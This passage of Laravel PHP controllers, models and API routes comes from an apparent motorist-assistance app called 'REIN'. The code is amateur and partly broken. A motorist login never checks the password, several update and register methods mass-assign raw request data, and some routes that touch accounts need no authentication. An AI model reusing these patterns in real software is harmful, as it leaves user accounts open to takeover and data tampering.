Carbon($end))) ->with('user') ->get(); return view('Admin.UserActivity',compact('userlogs', 'start', 'end')); } function showUserActivity($ID) { $userlogs = DB::table('user_logs') ->where('ID',$ID) ->get() ->first(); $getuserid = ['id' => $userlogs->UserID]; $causer = DB::table('users') ->where($getuserid) ->get() ->first(); $gettargetuser = ['id' => $userlogs->TargetUser]; $targetuser = DB::table('users') ->where($gettargetuser) ->get() ->first(); $getreport = ['ID' => $userlogs->ReportsID]; $report = DB::table('reports') ->where($getreport) ->get() ->first(); // $getfeedback = ['reportID' => $report->ID]; // $feedback = DB::table('feedbacks') // ->where($getfeedback) // ->get() // ->first(); $getpayment = ['ID' => $userlogs->PaymentsID]; $payment = DB::table('payments') ->where($getpayment) ->get() ->first(); return view('Admin.ShowUserActivity', compact('userlogs', 'causer', 'targetuser', 'report', 'payment')); //'feedback', } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` MailController.php ```<?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Validator; use Mail; use App\User; class MailController extends Controller { public function html_email(Request $request){ $email = $request->Email; $random = str_random(8); // dd($random); $flight = User::where('Email', $email)->update(["code" => $random]); // $flight->code = $random; // $flight->save(); Mail::send('Mail', ["data" => $request, "rand" => $random], function($message) use ($email) { $message->to($email,$email)->subject ('Verification'); $message->from('rein.inquiry@gmail.com','REIN APP'); }); return response()->json(["Email" => "Hello"], 201); } public function verify (Request $request){ $user = User::where("code", $request->id)->get(); if($user->count() != 0) $flight = User::where('code',$request->id)->update(["code" => "", "Status" => "Activated"]); return view("verified"); } } ``` SearchController.php ```<?php namespace App\Http\Controllers\Web\Admin; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use App\Http\Controllers\Controller; use App\User; class SearchController extends Controller { public function search() { $q = Input::get('q'); $user = User::where('FirstName', 'LIKE', '%'.$q.'%')->orWhere('LastName', 'LIKE', '%'.$q.'%'); if (count($user) > 0) { return view('partners.result')->withDetails($user)->withQuery($q); } else { return view('partners.result')->withMeassage('No user found. Search again.'); } } } ``` MotoristController.php ```<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Motorist; use Illuminate\Support\Facades\Auth; use Validator; class Motoristcontroller extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // $records = motorists::all(); if(count($records)> 0){ return motorists::all(); }else{ return response()->json("asd"); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $results = motorists::find($request); return $results; } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ // public function show($id) // { // // // $validators = Validator::make($request->all(), [ // 'LastName' => 'required|max:250', // 'FirstName' => 'required|max:250', // 'MobileNo' => 'required|max:100', // 'Birthday' => 'required|max:100', // 'Address' => 'required|max:100', // 'City' => 'required|max:100', // 'ZipCode' => 'required|max:100', // 'Email' => 'required|max:100', // 'Password' => 'requirmax:100', // 'Status' => 'required|max:100', // 'DateCreated' => 'required', // ]); // $validators = Validator::make($request->all(), $rules); // if ($validator-> fails()){ // return $this->respondValidationError('Fields Validation Failed.', $validator->errors()); { // } // } //} public function login(){ $password = bcrypt(request('Password')); if(Motorist::where('Email', request('Email'))){ $user = Auth::Motorist(); $success['token'] = $user->createToken('Rein')-> accessToken; return response()->json(['success' => $success], 200); } else{ return response()->json(['error'=>'Unauthorised'], 401); } } /** * Register api * * @return \Illuminate\Http\Response */ public function register(Request $request) { $validator = Validator::make($request->all(), [ 'CarID', 'LastName' , 'FirstName', 'MobileNo', 'BirthDay', 'Address', 'City', 'ZipCode', 'Email', 'Password', 'CPassword' => 'same:Password', 'Status', 'DateCreated' ]); if ($validator->fails()) { return response()->json(['error'=>$validator->errors()], 401); } $input = $request->all(); $input['Password'] = bcrypt($input['Password']); $user = Motorist::create($input); $success['token'] = $user->createToken('Rein')-> accessToken; return response()->json(['success'=>$success], 200); } } ``` ViewAssistantsController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\User; class ViewAssistantsController extends Controller { // public function index() { $users = User::where('UserTypeID', '=', 3)->get(); //->where('UserTypeID', '=', 2) return view ('partnerCompany.Assistants', compact('users')); } } ``` TransactionLogs.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class TransactionLogs extends Model { // protected $fillable =[ 'TransactionLogId', 'RequestId', 'UserId','ReportID','PaymentId' ]; } ``` Services.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class Services extends Model { // protected $fillable =[ 'ServiceId','ServiceType','ServiceRate' ]; } ``` AdminRegisterController.php ```<?php namespace App\Http\Controllers\Web\Admin; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use Hash; class AdminRegisterController extends Controller { // public function index() { $gettype = ['UserTypeID' => 1]; $users = DB::table('users') ->where($gettype) ->get() ->count(); if ($users < '1'){ return view('Admin.Register'); } else { return view('admin-auth.admin-login'); } } public function register(Request $request) { $this->validate($request, [ 'FirstName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' , 'LastName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' , 'Email' => 'required|max:250|unique:users|email', 'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/', 'CPassword' => 'same:password|required', 'g-recaptcha-response' => 'required|captcha', ], [ 'FirstName.required' => 'Please input your Firstname.' , 'FirstName.max' => 'Your firstname input exceeds the maximum length.' , 'FirstName.regex' => 'Your firstname input is invalid.' , 'LastName.required' => 'Please input your Lastname.' , 'LastName.max' => 'Your lastname input exceeds the maximum length.' , 'LastName.regex' => 'Your lastname input is invalid.' , 'Email.required' => 'Please input your email address', 'Email.max' => 'Your email address input exceeds the maximum length.', 'Email.unique' => 'This email is already taken', 'Email' => 'Your email input is invalid.', 'password.required' => 'Please input a password.', 'password.min' => 'Your password input is too short.', 'password.max' => 'Your password input exceeds the maximum length.', 'password.regex' => 'Your password input must contain at least one uppercase, lowercase, numerical, and special character.', 'CPassword.same' => 'Your password input should match.', 'CPassword.required' => 'Your password input a password.', ]); // if ($validator->fails()) { // return response()->to(['error'=>$validator->errors()], 401); // } $input = $request->all(); $admin = new User($input); $admin->password = bcrypt($input['password']); $admin->UserTypeID = 1; $admin->Status = 'Activated'; if($admin->save()){ //user logs insert DB::table('user_logs') ->insert(['UserID' => '1', 'Type' => "Admin Registration", 'Description' => "Registered an Admin Account Successfully"]); return view('landingPage'); } } } ``` UserType.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class UserType extends Model { // protected $fillable =[ 'UserTypeId','Type' ]; } ``` AdminController.php ```<?php namespace App\Http\Controllers\Web; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Auth; use DB; use Illuminate\Support\Carbon; class AdminController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function index() { //Widgets $partners = DB::table('users') ->where('UserTypeID', '4') ->count(); $assistants = DB::table('users') ->where('UserTypeID', '2') ->count(); $motorists = DB::table('users') ->where('UserTypeID', '3') ->count(); $totalusers = $partners + $assistants + $motorists; $cancelled = DB::table('reports') ->where('Status', 'Cancelled') ->count(); $done = DB::table('reports') ->where('Status', 'Done') ->count(); $ongoing = DB::table('reports') ->where('Status', 'Ongoing') ->count(); date_default_timezone_set('Asia/Manila'); $start = Carbon::now(); $end = Carbon::now(); //Pie Chart $pie = DB::table('reports') ->select( DB::raw('servicetype as servicetype'), DB::raw('count(*) as number')) ->groupBy('servicetype') ->get(); $piearray[] = ['ServiceType', 'Total']; foreach($pie as $key => $value) { $piearray[++$key] = [$value->servicetype, $value->number]; } $bar = DB::table('reports') ->select( DB::raw('status as status'), DB::raw('count(*) as number')) ->groupBy('status') ->get(); $bararray[] = ['status', 'Total']; foreach($bar as $key => $value) { $bararray[++$key] = [$value->status, $value->number]; } //dd($data); return view('Admin.dashboard', compact('partners', 'assistants', 'motorists', 'cancelled', 'done', 'ongoing', 'totalusers', 'start', 'end')) ->with('servicetype', json_encode($piearray)) ->with('status', json_encode($bararray)); } public function daterange(Request $request) { date_default_timezone_set('Asia/Manila'); $start = Carbon::parse($request->start)->startOfDay(); $end = Carbon::parse($request->end)->endOfDay(); //Widgets $partners = DB::table('users') ->where('UserTypeID', '4') ->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end))) ->count(); $assistants = DB::table('users') ->where('UserTypeID', '2') ->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end))) ->count(); $motorists = DB::table('users') ->where('UserTypeID', '3') ->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end))) ->count(); $totalusers = $partners + $assistants + $motorists; $cancelled = DB::table('reports') ->where('Status', 'Cancelled') ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->count(); $done = DB::table('reports') ->where('Status', 'Done') ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->count(); $ongoing = DB::table('reports') ->where('Status', 'Ongoing') ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->count(); //Pie Chart $pie = DB::table('reports') ->select( DB::raw('servicetype as servicetype'), DB::raw('count(*) as number')) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->groupBy('servicetype') ->get(); $piearray[] = ['ServiceType', 'Total']; foreach($pie as $key => $value) { $piearray[++$key] = [$value->servicetype, $value->number]; } $bar = DB::table('reports') ->select( DB::raw('status as status'), DB::raw('count(*) as number')) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->groupBy('status') ->get(); $bararray[] = ['status', 'Total']; foreach($bar as $key => $value) { $bararray[++$key] = [$value->status, $value->number]; } //dd($data); return view('Admin.dashboard', compact('partners', 'assistants', 'motorists', 'cancelled', 'done', 'ongoing', 'totalusers', 'start', 'end')) ->with('servicetype', json_encode($piearray)) ->with('status', json_encode($bararray)); } } ``` MotoristsController.php ```<?php namespace App\Http\Controllers\Web\Admin; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; class MotoristsController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:admin'); } public function index() { $users = User::where('UserTypeId', '=', 3)->get(); //->where('UserTypeID', '=', 2) return view ('motorists.index', compact('users')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $user = User::find($id); $getcar = ['userID' => $id]; $car = DB::table('cars') ->where($getcar) ->get() ->first(); // $getbrand = ['brandID' => $id]; // $brand = DB::table('brand') // ->where($getbrand) // ->get() // ->first(); // $getcartype = ['carTypeID' => $id]; // $cartype = DB::table('types') // ->where($getcartype) // ->get() // ->first(); $getcancelledrequests = ['userID' => $id, 'status' => 'Cancelled']; $cancellation = DB::table('reports') ->where($getcancelledrequests) ->count(); return view('motorists.show', compact('user', 'car', 'cancellation')); // 'brand', 'cartype', } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $user = User::find($id); return view('motorists.edit', compact('user')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { User::find($id)->update($request->all()); // $user->update($request->all()); $getadminid = Auth::user(); $getid = $getadminid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Suspended", 'TargetUser' => $id, 'Description' => "Suspended Motorist's Account Successfully"]); return redirect()->route('motorists.index')->with('message','Motorist has been suspended'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` api.php ```<?php use Illuminate\Http\Request; /* |-------------------------------------------------------------------------- | API Routes |-------------------------------------------------------------------------- | | Here is where you can register API routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | is assigned the "api" middleware group. Enjoy building your API! | */ Route::post('login', 'API\UserController@login'); Route::post('register', 'API\UserController@register'); Route::post('sendhtmlemail','API\MailController@html_email'); Route::post('token','API\UserController@send'); Route::post('notify', 'API\ReportsController@notification'); Route::post('sendforget', 'API\UserController@sendforget'); Route::post('verify', 'API\MailController@verify'); Route::post('Transactions','API\TransactionController@index'); Route::post('Brand','API\ReportsController@car'); Route::post('CarType','API\ReportsController@type'); Route::post('sendhtmlemail1','API\UserController@html_email1'); Route::post('getuni','API\UserController@getuni'); Route::post('CreateReports', 'API\ReportsController@store'); Route::group(['middleware' => 'auth:api'], function () { //Motorist Route::group(['middleware' => 'scope:motorist'], function () { Route::post('UpdateStatus', 'API\ReportsController@updateStatus'); Route::post('CreateFeedback', 'API\FeedbacksController@store'); Route::post('CreateImages', 'ComplaintsController@store'); Route::post('ViewCars', 'API\UserController@ViewCar'); Route::post('CreateLocation','API\LocationController@store'); Route::post('UpdateReport', 'API\ReportsController@update'); Route::post('ViewReport', 'API\ReportsController@viewupdate'); Route::post('CreateCars', 'API\CarsController@store'); Route::post('CreateService','ServicesController@store'); }); // Assistant Route::group(['middleware' => 'scope:assistant'], function () { //CREATE Route::post('ViewDetails', 'API\ReportsController@index'); Route::post('CreatePayments', 'PaymentsController@store'); }); }); ``` WebPartnerController.php ```<?php namespace App\Http\Controllers\Web; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class WebPartnerController extends Controller { public function index() { //Partner/Guest Home(Index) View return view('partnerCompany.Home'); } public function requests() { //Partner/Guest Logged-in Home(Index) View -- List of Request return view('partnerCompany.Requests'); } public function approveRequest() { //Approval of Request View return view('partnerCompany.ApproveRequest'); } public function assignRequest() { //Assignment of Request View return view('partnerCompany.AssignRequest'); } public function assistants() { //List of Assistants View return view('partnerCompany.Assistants'); } public function assistantProfile() { //Profile of Assistant View return view('partnerCompany.ViewAssistant'); } public function addAssistant() { //Add/Register an Assitant View return view('partnerCompany.AddAssistant'); } public function updateAssistant () { //Suspend/Update account of an Assistant View return view('partnerCompany.UpdateAssistant'); } public function logs () { //Suspend/Update account of an Assistant View return view('partnerCompany.TransactionLogs'); } public function complaints() { //List of Complaints View return view('partnerCompany.Complaints'); } public function viewComplaint() { //Complaint View return view('partnerCompany.ViewComplaint'); } public function feedback () { //List of Complaints View return view('partnerCompany.Feedbacks'); } public function viewFeedback() { //Complaint View return view('partnerCompany.viewFeedback'); } } ``` PartnerController.php ```<?php namespace App\Http\Controllers\Web; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\DB; use App\Reports; use Auth; use Illuminate\Support\Carbon; class PartnerController extends Controller { public function __construct() { $this->middleware('auth:partner'); } public function index() { //Widgets $getpartner = Auth::user(); $partner = $getpartner->id; $getassistant = ['PartnerCompany' => $partner, 'UserTypeID' => '2']; $assistant = DB::table('users') ->where($getassistant) ->count(); $getavailable = ['AssignStatus' => 'Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2']; $availableassistant = DB::table('users') ->where($getavailable) ->count(); $getnotavailable = ['AssignStatus' => 'Not Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2']; $notavailableassistant = DB::table('users') ->where($getnotavailable) ->count(); $getsales = ['partner' => $partner, 'status' => 'Done']; $totalsales = DB::table('reports') ->where($getsales) ->sum('totalservice'); $getservices = ['partner' => $partner, 'status' => 'Done']; $totalservice = DB::table('reports') ->where($getservices) ->count(); $getongoing = ['partner' => $partner, 'status' => 'Ongoing']; $totalongoing = DB::table('reports') ->where($getongoing) ->count(); date_default_timezone_set('Asia/Manila'); $start = Carbon::now(); $end = Carbon::now(); //Pie Chart $pie = DB::table('reports') ->select( DB::raw('servicetype as servicetype'), DB::raw('count(*) as number')) ->where('partner', $getpartner->id) ->groupBy('servicetype') ->get(); $piearray[] = ['ServiceType', 'Total']; foreach($pie as $key => $value) { $piearray[++$key] = [$value->servicetype, $value->number]; } $bar = DB::table('reports') ->select( DB::raw('status as status'), DB::raw('count(*) as number')) ->where('partner', $getpartner->id) ->groupBy('status') ->get(); $bararray[] = ['status', 'Total']; foreach($bar as $key => $value) { $bararray[++$key] = [$value->status, $value->number]; } //dd($data); return view('Partner.home', compact('assistant', 'availableassistant', 'notavailableassistant', 'totalsales', 'totalservice', 'totalongoing', 'start', 'end')) //, 'start', 'end' ->with('servicetype', json_encode($piearray)) ->with('status', json_encode($bararray)); } public function daterange(Request $request) { date_default_timezone_set('Asia/Manila'); $start = Carbon::parse($request->start)->startOfDay(); $end = Carbon::parse($request->end)->endOfDay(); //Widgets $getpartner = Auth::user(); $partner = $getpartner->id; $getassistant = ['PartnerCompany' => $partner, 'UserTypeID' => '2']; $assistant = DB::table('users') ->where($getassistant) ->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end))) ->count(); $getavailable = ['AssignStatus' => 'Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2']; $availableassistant = DB::table('users') ->where($getavailable) ->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end))) ->count(); $getnotavailable = ['AssignStatus' => 'Not Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2']; $notavailableassistant = DB::table('users') ->where($getnotavailable) ->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end))) ->count(); $getsales = ['partner' => $partner, 'status' => 'Done']; $totalsales = DB::table('reports') ->where($getsales) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->sum('totalservice'); $getservices = ['partner' => $partner, 'status' => 'Done']; $totalservice = DB::table('reports') ->where($getservices) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->count(); $getongoing = ['partner' => $partner, 'status' => 'Ongoing']; $totalongoing = DB::table('reports') ->where($getongoing) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->count(); $pie = DB::table('reports') ->select( DB::raw('servicetype as servicetype'), DB::raw('count(*) as number')) ->where('partner', $getpartner->id) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->groupBy('servicetype') ->get(); $piearray[] = ['ServiceType', 'Total']; foreach($pie as $key => $value) { $piearray[++$key] = [$value->servicetype, $value->number]; } $bar = DB::table('reports') ->select( DB::raw('status as status'), DB::raw('count(*) as total')) ->where('partner', $getpartner->id) ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->groupBy('status') ->get(); $bararray[] = ['status', 'Total']; foreach($bar as $key => $value) { $bararray[++$key] = [$value->status, $value->total]; } return view('Partner.home', compact('assistant', 'availableassistant', 'notavailableassistant', 'totalsales', 'totalservice', 'totalongoing', 'start', 'end')) ->with('servicetype', json_encode($piearray)) ->with('status', json_encode($bararray)); } public function yay1() { dd($this->yay()); return view("MAMA MO"); } public function yay($id){ $optionBuilder = new OptionsBuilder(); $optionBuilder->setTimeToLive(60*20); $notificationBuilder = new PayloadNotificationBuilder('my title'); $notificationBuilder->setBody('Hello world') ->setSound('default'); $dataBuilder = new PayloadDataBuilder(); $dataBuilder->addData(['a_data' => 'my_data']); $option = $optionBuilder->build(); $notification = $notificationBuilder->build(); $data = $dataBuilder->build(); $id = user::find($id)->first(); // dd($id); $token = $id->token; $downstreamResponse = FCM::sendTo($token, $option, $notification, $data); $downstreamResponse->numberSuccess(); $downstreamResponse->numberFailure(); $downstreamResponse->numberModification(); //return Array - you must remove all this tokens in your database $downstreamResponse->tokensToDelete(); //return Array (key : oldToken, value : new token - you must change the token in your database ) $downstreamResponse->tokensToModify(); //return Array - you should try to resend the message to the tokens in the array $downstreamResponse->tokensToRetry(); // return Array (key:token, value:errror) - in production you should remove from your databas } }``` TransactionLogsController.php ```<?php namespace App\Http\Controllers\Web\Admin; use App\Reports; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use PDF; use Illuminate\Support\Carbon; class TransactionLogsController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function index() { $reports = Reports::with('user') ->get(); // dd($reports); return view ('Admin.TransactionLogs', compact('reports')); } function showTransaction($ID) { $reports = Reports::find($ID); $getpartner = ['id' => $reports->partner]; $partner = User::where($getpartner) ->get() ->first(); $getmotorist = ['id' => $reports->userID]; $motorist = User::where($getmotorist) ->get() ->first(); $getassistant = ['id' => $reports->assistant]; $assistant = User::where($getassistant) ->get() ->first(); $getcar = ['ID' => $reports->CarID]; $car = DB::table ('cars') ->where($getcar) ->get() ->first(); $cartype = DB::table('types') ->where('id', '=', $car->carTypeID ) ->get() ->first(); $carbrand = DB::table('brand') ->where('id' , '=', $car->brandID) ->get() ->first(); $getpayment = ['ReportID' => $ID]; $payment = DB::table ('payments') ->where($getpayment) ->get() ->first(); return view('Admin.ShowTransaction', compact('reports', 'partner', 'motorist', 'assistant', 'car', 'cartype', 'carbrand', 'payment')); } function singleTransactionPDF($ID){ $getadminid = Auth::user(); $getid = $getadminid->id; $report = Reports::find($ID); $partner = ['id' => $report->partner ]; $getpartnerdetails = User::where($partner) ->get() ->first(); $motorist = ['id' => $report->userID]; $getmotoristdetails = User::where($motorist) ->get() ->first(); $assistant = ['id' => $report->assistant]; $getassistantdetails = User::where($assistant) ->get() ->first(); $getcar = ['ID' => $report->CarID]; $getcardetails = DB::table ('cars') ->where($getcar) ->get() ->first(); $cartype = DB::table('types') ->where('id', '=', $getcardetails->carTypeID ) ->get() ->first(); $carbrand = DB::table('brand') ->where('id' , '=', $getcardetails->brandID) ->get() ->first(); $getpayment = ['ReportID' => $ID]; $getpaymentdetails = DB::table ('payments') ->where($getpayment) ->get() ->first(); //dd($getpaymentdetails); $pdf = PDF::loadView('Admin.SingleTransactionPDF', compact('report', 'getpartnerdetails', 'getmotoristdetails', 'getassistantdetails', 'getcardetails','cartype', 'carbrand', 'getpaymentdetails')); DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Download Transaction", 'ReportsID' => $ID, 'Description' => "Downloaded Transaction Log Successfully"]); return $pdf->download('SingleTransactionLog.pdf'); } public function fullTransactionPDF(Request $request) { date_default_timezone_set('Asia/Manila'); $start = Carbon::parse($request->start)->startOfDay(); $end = Carbon::parse($request->end)->endOfDay(); date_default_timezone_set('Asia/Manila'); $start = Carbon::parse($request->start)->startOfDay(); $end = Carbon::parse($request->end)->endOfDay(); $reports = Reports::with('user') ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->get(); $reportcount = Reports::with('user') ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->count(); $total = Reports::with('user') ->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end))) ->sum('totalservice'); if ($reportcount == 0){ return redirect()->action('Web\Admin\TransactionLogsController@index'); } else { $pdf = PDF::loadView('Admin.FullTransactionPDF', compact('reports', 'start', 'end', 'total')); } return $pdf->download('FullTransactionPDF.pdf'); } } ``` AssistantsController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Carbon; class AssistantsController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ protected $table="datatables_data"; public function __construct() { $this->middleware('auth:partner'); } public function index() { $getpartner = Auth::user(); $partner = $getpartner->id; $getuser = ['UserTypeID' => '2', 'PartnerCompany' => $partner]; $users = User::where($getuser)->get(); return view ('assistants.index', compact('users')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('assistants.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $this->validate($request, [ 'FirstName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' , 'LastName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' , 'MobileNo' => 'required|max:11|regex:/^[0-9]*$/', 'BirthDay' => 'required|before:'. Carbon::now()->subYears(25), 'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/', 'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/', 'ZipCode' => 'required|max:4|regex:/^[0-9]*$/', 'Email' => 'required|max:250|unique:users|email', 'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/', 'CPassword' => 'same:password|required', 'g-recaptcha-response' => 'required|captcha', ], [ 'FirstName.required' => 'Please input your Firstname.' , 'FirstName.max' => 'Your firstname input exceeds the maximum length.' , 'FirstName.regex' => 'Your firstname input is invalid.' , 'LastName.required' => 'Please input your Lastname.' , 'LastName.max' => 'Your lastname input exceeds the maximum length.' , 'LastName.regex' => 'Your lastname input is invalid.' , 'MobileNo.required' => 'Please input your mobile number.', 'MobileNo.max' => 'Please input a valid mobile number.', 'MobileNo.regex' => 'Please input a valid mobile number.', 'BirthDay.required' => 'Please input your birthdate', 'BirthDay.before' => 'You should be atleast 25 years old', 'Address.required' => 'Please input your address.', 'Address.regex' => 'You address input is invalid.', 'City.required' => 'Please input your city.', 'City.max' => 'Your city input exceeds the maximum length.', 'City.regex' => 'Please input a valid city', 'ZipCode.required' => 'Please input your zip code', 'ZipCode.max' => 'Your zip code input exceeds the maximum length.', 'ZipCode.regex' => 'Your zip code input is invalid.', 'Email.required' => 'Please input your email address', 'Email.max' => 'Your email address input exceeds the maximum length.', 'Email.unique' => 'This email is already taken', 'Email.regex' => 'Your email address input is invalid.', 'Email' => 'Your email input is invalid.', 'password.required' => 'Please input a password.', 'password.min' => 'Your password input is too short.', 'password.max' => 'Your password input exceeds the maximum length.', 'password.regex' => 'Your password input must contain at least one uppercase, lowercase, numerical, and special character.', 'CPassword.same' => 'Your password input should match.', 'CPassword.required' => 'Your password input a password.', ]); $getpartner = Auth::user(); $partner = $getpartner->id; $input = $request->all(); $assistant = new User($input); $assistant->password = bcrypt($input['password']); $assistant->UserTypeID = 2; $assistant->Status = 'Activated'; //Verify email first before login $assistant->PartnerCompany = $partner; $assistant->AssignStatus = 'Available'; if($assistant->save()){ $getpartnerid = Auth::user(); $getid = $getpartnerid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Assistant Registration", 'Description' => "Registered Assistant's Account Successfully"]); return redirect()->route('assistants.index')->with('message','assistant has been added successfully'); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $user = User::find($id); return view('assistants.show', compact('user')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $user = User::find($id); return view('assistants.edit', compact('user')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $this->validate($request, [ 'MobileNo' => 'required|max:11|regex:/^[0-9]*$/', 'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/', 'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/', 'ZipCode' => 'required|max:4|regex:/^[0-9]*$/', 'Email' => 'required|max:250|email', 'g-recaptcha-response' => 'required|captcha', ], [ 'MobileNo.required' => 'Please input your mobile number.', 'MobileNo.max' => 'Please input a valid mobile number.', 'MobileNo.regex' => 'Please input a valid mobile number.', 'Address.required' => 'Please input your address.', 'Address.regex' => 'You address input is invalid.', 'City.required' => 'Please input your city.', 'City.max' => 'Your city input exceeds the maximum length.', 'City.regex' => 'Please input a valid city', 'ZipCode.required' => 'Please input your zip code', 'ZipCode.max' => 'Your zip code input exceeds the maximum length.', 'ZipCode.regex' => 'Your zip code input is invalid.', 'Email.required' => 'Please input your email address', 'Email.max' => 'Your email address input exceeds the maximum length.', 'Email.regex' => 'Your email address input is invalid.', 'Email' => 'Your email input is invalid.', ]); $assistants = User::find($id); $assistants->MobileNo = $request->input('MobileNo'); $assistants->Address = $request->input('Address'); $assistants->City= $request->input('City'); $assistants->ZipCode = $request->input('ZipCode'); $assistants->Email = $request->input('Email'); $assistants->Status = $request->input('Status'); $assistants->update(); $getpartnerid = Auth::user(); $getid = $getpartnerid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Update Assistant", 'Description' => "Updated Assistant's Account Successfully", 'TargetUser' => $id]); // $user->update($request->all()); return redirect()->route('assistants.index')->with('message','item has been updated successfully'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` TransactionController.php ```<?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Report; use Validator; class TransactionController extends Controller { /** * Display a listing of the resource. * * @return 